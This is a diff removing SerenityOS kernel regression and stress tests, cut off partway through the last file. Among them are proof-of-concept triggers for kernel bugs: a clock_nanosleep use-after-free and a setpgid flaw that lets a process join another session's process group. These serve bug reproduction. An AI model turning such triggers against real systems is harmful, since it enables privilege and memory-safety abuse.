// But wait! pthread_kill isn't implemented yet, and therefore causes
|
||||
// a linker error. It also looks like the corresponding syscall is missing.
|
||||
|
||||
// Use normal IPC syscall:
|
||||
// kill(getpid(), SIGUSR1);
|
||||
// But wait! If destination_pid == own_pid, then the signal is sent
|
||||
// to the calling thread, *no matter what*.
|
||||
|
||||
// So, we have to go the very ugly route of fork():
|
||||
// (Thank goodness this is only a demo of a kernel bug!)
|
||||
pid_t pid_to_kill = getpid();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid < 0) {
|
||||
printf("Yanker: Fork failed: %d\n", child_pid);
|
||||
pthread_exit(nullptr); // See below
|
||||
}
|
||||
|
||||
if (child_pid > 0) {
|
||||
// Success. Terminate quickly. T3
|
||||
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
|
||||
// Workaround: Exit manually.
|
||||
pthread_exit(nullptr);
|
||||
}
|
||||
|
||||
// Give parent *thread* a moment to die.
|
||||
requested_sleep = { 1, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Prod the parent *process*
|
||||
kill(pid_to_kill, SIGUSR1); // T4
|
||||
|
||||
// Wait a moment, to ensure the log output is as well-separated as possible.
|
||||
requested_sleep = { 2, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
pthread_exit(nullptr);
|
||||
assert(false);
|
||||
// FIXME: return nullptr;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// Chronological order:
|
||||
// T0: Main thread allocates region for the outvalue of clock_nanosleep
|
||||
// T1: Main thread enters clock_nanosleep
|
||||
// T2: Side thread deallocates that region
|
||||
// T3: Side thread dies
|
||||
// T4: A different process sends SIGUSR1, waking up the main thread,
|
||||
// forcing the kernel to write to the deallocated Region.
|
||||
|
||||
// I'm sorry that both a side *thread* and a side *process* are necessary.
|
||||
// Maybe in the future this test can be simplified, see above.
|
||||
|
||||
yank_shared_t shared = { nullptr };
|
||||
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
|
||||
|
||||
pthread_t yanker_thread;
|
||||
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
|
||||
if (rc != 0) {
|
||||
perror("pthread");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set an action for SIGUSR1, so that the sleep can be interrupted:
|
||||
signal(SIGUSR1, signal_printer);
|
||||
|
||||
// T1: Go to sleep.
|
||||
timespec const requested_sleep = { 3, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
|
||||
// Now we are beyond T4.
|
||||
|
||||
if (rc == 0) {
|
||||
// We somehow weren't interrupted. Bad.
|
||||
printf("Not interrupted.\n");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// nanosleep was interrupted and the kernel didn't crash. Good!
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,41 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("ST: close()\n");
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
},
|
||||
nullptr);
|
||||
|
||||
fd_set rfds;
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(pipefds[1], &rfds);
|
||||
|
||||
printf("MT: select()\n");
|
||||
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("select");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,27 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
__builtin_trap();
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
pthread_join(tid, nullptr);
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,21 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
if (!fork()) {
|
||||
for (;;) {
|
||||
mkdir("/tmp/x", 0666);
|
||||
rmdir("/tmp/x");
|
||||
}
|
||||
}
|
||||
for (;;) {
|
||||
chdir("/tmp/x");
|
||||
}
|
||||
}
|
|
@ -1,76 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <cassert>
|
||||
#include <cstring>
|
||||
#include <ctime>
|
||||
#include <errno.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct worker_t {
|
||||
char const* name;
|
||||
int count;
|
||||
pthread_t thread;
|
||||
pthread_mutex_t lock;
|
||||
pthread_cond_t cond;
|
||||
long int wait_time;
|
||||
};
|
||||
|
||||
static void* run_worker(void* args)
|
||||
{
|
||||
struct timespec time_to_wait = { 0, 0 };
|
||||
worker_t* worker = (worker_t*)args;
|
||||
worker->count = 0;
|
||||
|
||||
while (worker->count < 25) {
|
||||
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
|
||||
pthread_mutex_lock(&worker->lock);
|
||||
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
|
||||
|
||||
// Validate return code is always timed out.
|
||||
assert(rc == -1);
|
||||
assert(errno == ETIMEDOUT);
|
||||
|
||||
worker->count++;
|
||||
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
|
||||
pthread_mutex_unlock(&worker->lock);
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
static void init_worker(worker_t* worker, char const* name, long int wait_time)
|
||||
{
|
||||
worker->name = name;
|
||||
worker->wait_time = wait_time;
|
||||
|
||||
pthread_attr_t attr;
|
||||
pthread_attr_init(&attr);
|
||||
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
|
||||
|
||||
pthread_mutex_init(&worker->lock, nullptr);
|
||||
pthread_cond_init(&worker->cond, nullptr);
|
||||
pthread_create(&worker->thread, &attr, &run_worker, (void*)worker);
|
||||
|
||||
pthread_attr_destroy(&attr);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
worker_t worker_a;
|
||||
init_worker(&worker_a, "A", 2L);
|
||||
|
||||
worker_t worker_b;
|
||||
init_worker(&worker_b, "B", 4L);
|
||||
|
||||
pthread_join(worker_a.thread, nullptr);
|
||||
pthread_join(worker_b.thread, nullptr);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
|
@ -1,277 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Format.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <serenity.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Bug:
|
||||
* A process can join a process group across sessions if both process groups
|
||||
* do not have a leader (anymore). This can be used to join a session
|
||||
* illegitimately. (Or, more harmlessly, to change the own PGID to an unused
|
||||
* but arbitrary one, for example the PGID 0xDEADBEEF or the one that's going
|
||||
* to be your program's session ID in the short-term future.)
|
||||
*
|
||||
* So what needs to happen:
|
||||
* - There is session SA
|
||||
* - There is session SB
|
||||
* - There is a Process Group PGA in SA
|
||||
* - There is a Process Group PGB in SB
|
||||
* - PGA does not have a leader
|
||||
* - PGB does not have a leader
|
||||
* - There is a Process PA2 in PGA
|
||||
* - There is a Process PB2 in PGB
|
||||
* - PA2 calls setpgid(0, PGB)
|
||||
* - Now PA2 and PB2 are in the same processgroup, but not in the same session. WHAAAAT! :^)
|
||||
*
|
||||
* Here's how to demonstrate the bug:
|
||||
* - Time 0: PX forks into PA1
|
||||
* - Time 1: PA1 creates a new session (SA) and pgrp (PGA)
|
||||
* - Time 2: PA1 forks into PA2
|
||||
* - Time 3: PA1 dies (PGA now has no leader)
|
||||
* Note: PA2 never dies. Too much hassle.
|
||||
* - Time 4: PX forks into PB1
|
||||
* - Time 5: PB1 creates a new session (SB) and pgrp (PGB)
|
||||
* - Time 6: PB1 forks into PB2
|
||||
* - Time 7: PB1 dies (PGB now has no leader)
|
||||
* - Time 8: PB2 calls pgrp(0, PGA)
|
||||
* Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
|
||||
* - Time 9: If PX hasn't received any message yet through the pipe, it declares the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
|
||||
*/
|
||||
|
||||
static constexpr useconds_t STEP_SIZE = 1100000;
|
||||
|
||||
static void fork_into(void (*fn)(void*), void* arg)
|
||||
{
|
||||
pid_t const rc = fork();
|
||||
if (rc < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
if (rc > 0) {
|
||||
int const disown_rc = disown(rc);
|
||||
if (disown_rc < 0) {
|
||||
perror("disown");
|
||||
dbgln("This might cause PA1 to remain in the Zombie state, "
|
||||
"and thus in the process list, meaning the leader is "
|
||||
"still 'alive' for the purpose of lookup.");
|
||||
}
|
||||
return;
|
||||
}
|
||||
fn(arg);
|
||||
dbgln("child finished (?)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void sleep_steps(useconds_t steps)
|
||||
{
|
||||
int const rc = usleep(steps * STEP_SIZE);
|
||||
if (rc < 0) {
|
||||
perror("usleep");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
}
|
||||
|
||||
static void run_pa1(void*);
|
||||
static void run_pa2(void*);
|
||||
static void run_pb1(void*);
|
||||
static void run_pb2(void*);
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
// This entire function is the entirety of process PX.
|
||||
|
||||
// Time 0: PX forks into PA1
|
||||
int fds[2];
|
||||
// Serenity doesn't support O_NONBLOCK for pipes yet, so
|
||||
// sadly the test will hang if something goes wrong.
|
||||
if (pipe2(fds, 0) < 0) {
|
||||
perror("pipe");
|
||||
exit(1);
|
||||
}
|
||||
dbgln("PX starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PX forks into PA1");
|
||||
fork_into(run_pa1, nullptr);
|
||||
sleep_steps(4);
|
||||
|
||||
// Time 4: PX forks into PB1
|
||||
dbgln("PX forks into PB1");
|
||||
fork_into(run_pb1, &(fds[1]));
|
||||
sleep_steps(5);
|
||||
|
||||
// Time 9: If PX hasn't received any message yet through the pipe, it declares
|
||||
// the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
|
||||
dbgln("PX reads from pipe");
|
||||
unsigned char buf = 42;
|
||||
ssize_t rc = read(fds[0], &buf, 1);
|
||||
if (rc == 0) {
|
||||
// In fact, we only reach this branch when *all* processes have died,
|
||||
// including this one. So … should be unreachable.
|
||||
printf("DOUBLE FAIL: pipe is closed, but we still have it open.\n"
|
||||
"See debug log, some process probably crashed.\n");
|
||||
exit(1);
|
||||
}
|
||||
if (rc < 0) {
|
||||
if (errno == EAGAIN) {
|
||||
printf("FAIL: pipe has no data. See debug log, some process os probably hanging.\n");
|
||||
} else {
|
||||
perror("read (unknown)");
|
||||
}
|
||||
exit(1);
|
||||
}
|
||||
VERIFY(rc == 1);
|
||||
if (buf == 0) {
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
if (buf == 1) {
|
||||
printf("FAIL (exploit successful)\n");
|
||||
return 1;
|
||||
}
|
||||
printf("FAIL, for some reason %c\n", buf);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void run_pa1(void*)
|
||||
{
|
||||
// Time 0: PX forks into PA1
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 1: PA1 creates a new session (SA) and pgrp (PGA)
|
||||
dbgln("PA1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PA1 calls setsid()");
|
||||
int rc = setsid();
|
||||
if (rc < 0) {
|
||||
perror("setsid (PA)");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
dbgln("PA1 did setsid() -> PGA={}, SA={}, yay!", rc, getsid(0));
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 2: PA1 forks into PA2
|
||||
dbgln("PA1 forks into PA2");
|
||||
fork_into(run_pa2, nullptr);
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 3: PA1 dies (PGA now has no leader)
|
||||
dbgln("PA1 dies. You should see a 'Reaped unparented process' "
|
||||
"message with my ID next, OR THIS TEST IS MEANINGLESS "
|
||||
"(see fork_into()).");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
static void run_pa2(void*)
|
||||
{
|
||||
// Time 2: PA1 forks into PA2
|
||||
dbgln("PA2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
sleep_steps(18);
|
||||
|
||||
// pa_2 never *does* anything.
|
||||
dbgln("PA2 dies from boredom.");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void run_pb1(void* pipe_fd_ptr)
|
||||
{
|
||||
// Time 4: PX forks into PB1
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 5: PB1 creates a new session (SB) and pgrp (PGB)
|
||||
dbgln("PB1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PB1 calls setsid()");
|
||||
int rc = setsid();
|
||||
if (rc < 0) {
|
||||
perror("setsid (PB)");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
dbgln("PB1 did setsid() -> PGB={}, SB={}, yay!", rc, getsid(0));
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 6: PB1 forks into PB2
|
||||
dbgln("PB1 forks into PB2");
|
||||
fork_into(run_pb2, pipe_fd_ptr);
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 7: PB1 dies (PGB now has no leader)
|
||||
dbgln("PB1 dies. You should see a 'Reaped unparented process' "
|
||||
"message with my ID next, OR THIS TEST IS MEANINGLESS "
|
||||
"(see fork_into()).");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
static void simulate_sid_from_pgid(pid_t pgid)
|
||||
{
|
||||
pid_t rc = getpgid(pgid); // Same confusion as in the Kernel
|
||||
int saved_errno = errno;
|
||||
if (rc < 0 && saved_errno == ESRCH) {
|
||||
dbgln("The old get_sid_from_pgid({}) would return -1", pgid);
|
||||
} else if (rc >= 0) {
|
||||
dbgln("FAIL: Process {} still exists?! PGID is {}.", pgid, rc);
|
||||
} else {
|
||||
perror("pgid (probably fail)");
|
||||
}
|
||||
}
|
||||
|
||||
static void run_pb2(void* pipe_fd_ptr)
|
||||
{
|
||||
// Time 6: PB1 forks into PB2
|
||||
sleep_steps(2);
|
||||
|
||||
// Time 8: PB2 calls pgrp(0, PGA)
|
||||
// Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
|
||||
dbgln("PB2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PB2 calls pgrp(0, PGA)");
|
||||
int pga = getpid() - 3;
|
||||
dbgln("PB2: Actually, what is PGA? I guess it's {}?", pga);
|
||||
simulate_sid_from_pgid(pga);
|
||||
int rc = setpgid(0, pga);
|
||||
unsigned char to_write = 123;
|
||||
if (rc == 0) {
|
||||
dbgln("PB2: setgpid SUCCESSFUL! CHANGED PGROUP!");
|
||||
to_write = 1;
|
||||
} else {
|
||||
VERIFY(rc == -1);
|
||||
switch (errno) {
|
||||
case EACCES:
|
||||
dbgln("PB2: Failed with EACCES. Huh?!");
|
||||
to_write = 101;
|
||||
break;
|
||||
case EINVAL:
|
||||
dbgln("PB2: Failed with EINVAL. Huh?!");
|
||||
to_write = 102;
|
||||
break;
|
||||
case ESRCH:
|
||||
dbgln("PB2: Failed with ESRCH. Huh?!");
|
||||
to_write = 103;
|
||||
break;
|
||||
case EPERM:
|
||||
dbgln("PB2: Failed with EPERM. Aww, no exploit today :^)");
|
||||
to_write = 0;
|
||||
break;
|
||||
default:
|
||||
dbgln("PB2: Failed with errno={}?!", errno);
|
||||
perror("setpgid");
|
||||
to_write = 104;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dbgln("PB2 ends with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
int* pipe_fd = static_cast<int*>(pipe_fd_ptr);
|
||||
VERIFY(*pipe_fd);
|
||||
rc = write(*pipe_fd, &to_write, 1);
|
||||
if (rc != 1) {
|
||||
dbgln("Wrote only {} bytes instead of 1?!", rc);
|
||||
exit(1);
|
||||
}
|
||||
exit(0);
|
||||
}
|
|
@ -1,107 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020-2022, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// Supposed to use volatile everywhere here but good lord does C++ make that a pain
|
||||
sig_atomic_t volatile saved_signal;
|
||||
siginfo_t volatile saved_siginfo;
|
||||
ucontext_t volatile saved_ucontext;
|
||||
siginfo_t* sig_info_addr;
|
||||
ucontext_t* ucontext_addr;
|
||||
void* stack_ptr;
|
||||
bool volatile signal_was_delivered = false;
|
||||
|
||||
static void signal_handler(int sig, siginfo_t* sig_info, void* u_context)
|
||||
{
|
||||
stack_ptr = __builtin_frame_address(0);
|
||||
signal_was_delivered = true;
|
||||
|
||||
saved_signal = sig;
|
||||
// grumble grumble, assignment operator on volatile types not a thing
|
||||
// grumble grumble more, can't memcpy voltile either, that casts away volatile
|
||||
// grumble grumble even more, can't std::copy to volatile.
|
||||
// screw it, just write all the fields
|
||||
sig_info_addr = sig_info;
|
||||
saved_siginfo.si_status = sig_info->si_status;
|
||||
saved_siginfo.si_signo = sig_info->si_signo;
|
||||
saved_siginfo.si_code = sig_info->si_code;
|
||||
saved_siginfo.si_pid = sig_info->si_pid;
|
||||
saved_siginfo.si_uid = sig_info->si_uid;
|
||||
saved_siginfo.si_value.sival_int = sig_info->si_value.sival_int;
|
||||
auto user_context = (ucontext_t*)u_context;
|
||||
ucontext_addr = user_context;
|
||||
saved_ucontext.uc_link = user_context->uc_link;
|
||||
saved_ucontext.uc_sigmask = user_context->uc_sigmask;
|
||||
saved_ucontext.uc_stack.ss_sp = user_context->uc_stack.ss_sp;
|
||||
saved_ucontext.uc_stack.ss_size = user_context->uc_stack.ss_size;
|
||||
saved_ucontext.uc_stack.ss_flags = user_context->uc_stack.ss_flags;
|
||||
// saved_ucontext.uc_mcontext = user_context->uc_mcontext;
|
||||
}
|
||||
|
||||
static int print_signal_results()
|
||||
{
|
||||
if (!signal_was_delivered) {
|
||||
fprintf(stderr, "Where was my signal bro?\n");
|
||||
return 2;
|
||||
}
|
||||
|
||||
sig_atomic_t read_the_signal = saved_signal;
|
||||
siginfo_t read_the_siginfo = {};
|
||||
read_the_siginfo.si_status = saved_siginfo.si_status;
|
||||
read_the_siginfo.si_signo = saved_siginfo.si_signo;
|
||||
read_the_siginfo.si_code = saved_siginfo.si_code;
|
||||
read_the_siginfo.si_pid = saved_siginfo.si_pid;
|
||||
read_the_siginfo.si_uid = saved_siginfo.si_uid;
|
||||
read_the_siginfo.si_value.sival_int = saved_siginfo.si_value.sival_int;
|
||||
|
||||
ucontext_t read_the_ucontext = {};
|
||||
read_the_ucontext.uc_link = saved_ucontext.uc_link;
|
||||
read_the_ucontext.uc_sigmask = saved_ucontext.uc_sigmask;
|
||||
read_the_ucontext.uc_stack.ss_sp = saved_ucontext.uc_stack.ss_sp;
|
||||
read_the_ucontext.uc_stack.ss_size = saved_ucontext.uc_stack.ss_size;
|
||||
read_the_ucontext.uc_stack.ss_flags = saved_ucontext.uc_stack.ss_flags;
|
||||
// read_the_ucontext.uc_mcontext = saved_ucontext.uc_mcontext;
|
||||
|
||||
printf("Handled signal: %d\n", read_the_signal);
|
||||
printf("Stack sorta started as %p\n", stack_ptr);
|
||||
printf("Siginfo was stored at %p:\n", sig_info_addr);
|
||||
printf("\tsi_signo: %d\n", read_the_siginfo.si_signo);
|
||||
printf("\tsi_code, %x\n", read_the_siginfo.si_code);
|
||||
printf("\tsi_pid, %d\n", read_the_siginfo.si_pid);
|
||||
printf("\tsi_uid, %d\n", read_the_siginfo.si_uid);
|
||||
printf("\tsi_status, %x\n", read_the_siginfo.si_status);
|
||||
printf("\tsi_value.sival_int, %x\n", read_the_siginfo.si_value.sival_int);
|
||||
printf("ucontext was stored at %p:\n", ucontext_addr);
|
||||
printf("\tuc_link, %p\n", read_the_ucontext.uc_link);
|
||||
printf("\tuc_sigmask, %d\n", read_the_ucontext.uc_sigmask);
|
||||
printf("\tuc_stack.ss_sp, %p\n", read_the_ucontext.uc_stack.ss_sp);
|
||||
printf("\tuc_stack.ss_size, %zu\n", read_the_ucontext.uc_stack.ss_size);
|
||||
printf("\tuc_stack.ss_flags, %d\n", read_the_ucontext.uc_stack.ss_flags);
|
||||
// printf("\tuc_mcontext, %d\n", read_the_ucontext.uc_mcontext);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
struct sigaction action = {};
|
||||
action.sa_flags = SA_SIGINFO;
|
||||
sigemptyset(&action.sa_mask);
|
||||
action.sa_sigaction = signal_handler;
|
||||
|
||||
for (size_t i = 0; i < NSIG; ++i)
|
||||
(void)sigaction(i, &action, nullptr);
|
||||
|
||||
printf("Sleeping for a long time waiting for kill -<N> %d\n", getpid());
|
||||
|
||||
sleep(1000);
|
||||
return print_signal_results();
|
||||
}
|
|
@ -1,53 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Random.h>
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
Vector<StringView> arguments;
|
||||
arguments.ensure_capacity(argc);
|
||||
for (auto i = 0; i < argc; ++i)
|
||||
arguments.append({ argv[i], strlen(argv[i]) });
|
||||
|
||||
ByteString target;
|
||||
int max_file_size = 1024 * 1024;
|
||||
int count = 1024;
|
||||
|
||||
Core::ArgsParser args_parser;
|
||||
args_parser.add_option(max_file_size, "Maximum file size to generate", "max-size", 's', "size");
|
||||
args_parser.add_option(count, "Number of truncations to run", "number", 'n', "number");
|
||||
args_parser.add_positional_argument(target, "Target file path", "target");
|
||||
args_parser.parse(arguments);
|
||||
|
||||
int fd = creat(target.characters(), 0666);
|
||||
if (fd < 0) {
|
||||
perror("Couldn't create target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
auto new_file_size = AK::get_random<uint64_t>() % (max_file_size + 1);
|
||||
printf("(%d/%d)\tTruncating to %" PRIu64 " bytes...\n", i + 1, count, new_file_size);
|
||||
if (truncate(target.characters(), new_file_size) < 0) {
|
||||
perror("Couldn't truncate target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (unlink(target.characters()) < 0) {
|
||||
perror("Couldn't remove target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
|
@ -1,165 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Random.h>
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
|
||||
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
|
||||
|
||||
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
|
||||
{
|
||||
auto offset = block * buffer.size();
|
||||
auto rs = lseek(fd, offset, SEEK_SET);
|
||||
if (rs < 0) {
|
||||
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
auto rw = read(fd, buffer.data(), buffer.size());
|
||||
if (rw != static_cast<int>(buffer.size())) {
|
||||
fprintf(stderr, "Failure to read block %" PRIi64 ": %s\n", block, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
srand((seed + 1) * (block + 1));
|
||||
for (size_t i = 0; i < buffer.size(); i++) {
|
||||
if (buffer[i] != rand() % 256) {
|
||||
fprintf(stderr, "Discrepancy detected at block %" PRIi64 " offset %zd\n", block, i);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
|
||||
{
|
||||
auto offset = block * buffer.size();
|
||||
auto rs = lseek(fd, offset, SEEK_SET);
|
||||
if (rs < 0) {
|
||||
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
srand((seed + 1) * (block + 1));
|
||||
for (size_t i = 0; i < buffer.size(); i++)
|
||||
buffer[i] = rand();
|
||||
auto rw = write(fd, buffer.data(), buffer.size());
|
||||
if (rw != static_cast<int>(buffer.size())) {
|
||||
fprintf(stderr, "Failure to write block %" PRIi64 ": %s\n", block, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
Vector<StringView> arguments;
|
||||
arguments.ensure_capacity(argc);
|
||||
for (auto i = 0; i < argc; ++i)
|
||||
arguments.append({ argv[i], strlen(argv[i]) });
|
||||
|
||||
ByteString target;
|
||||
int min_block_offset = 0;
|
||||
int block_length = 2048;
|
||||
int block_size = 512;
|
||||
int count = 1024;
|
||||
int rng_seed = 0;
|
||||
bool paranoid_mode = false;
|
||||
bool random_mode = false;
|
||||
bool stop_mode = false;
|
||||
bool uninitialized_mode = false;
|
||||
|
||||
Core::ArgsParser args_parser;
|
||||
args_parser.add_option(min_block_offset, "Minimum block offset to consider", "min-offset", 'o', "size");
|
||||
args_parser.add_option(block_length, "Number of blocks to consider", "length", 's', "size");
|
||||
args_parser.add_option(block_size, "Block size", "block-size", 'b', "size");
|
||||
args_parser.add_option(count, "Number of write/read cycles to run", "number", 'n', "number");
|
||||
args_parser.add_option(rng_seed, "Random number generator seed", "seed", 'S', "number");
|
||||
args_parser.add_option(paranoid_mode, "Check entire range for consistency after each write", "paranoid", 'p');
|
||||
args_parser.add_option(random_mode, "Write one block inside range at random", "random", 'r');
|
||||
args_parser.add_option(stop_mode, "Stop after first error", "abort-on-error", 'a');
|
||||
args_parser.add_option(uninitialized_mode, "Don't pre-initialize block range", "uninitialized", 'u');
|
||||
args_parser.add_positional_argument(target, "Target device/file path", "target");
|
||||
args_parser.parse(arguments);
|
||||
|
||||
auto buffer_result = AK::ByteBuffer::create_zeroed(block_size);
|
||||
if (buffer_result.is_error()) {
|
||||
warnln("Failed to allocate a buffer of {} bytes", block_size);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
auto buffer = buffer_result.release_value();
|
||||
|
||||
int fd = open(target.characters(), O_CREAT | O_RDWR, 0666);
|
||||
if (fd < 0) {
|
||||
perror("Couldn't create target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (!uninitialized_mode) {
|
||||
int old_percent = -100;
|
||||
for (int i = min_block_offset; i < min_block_offset + block_length; i++) {
|
||||
int percent;
|
||||
if (block_length <= 1)
|
||||
percent = 100;
|
||||
else
|
||||
percent = 100 * (i - min_block_offset) / (block_length - 1);
|
||||
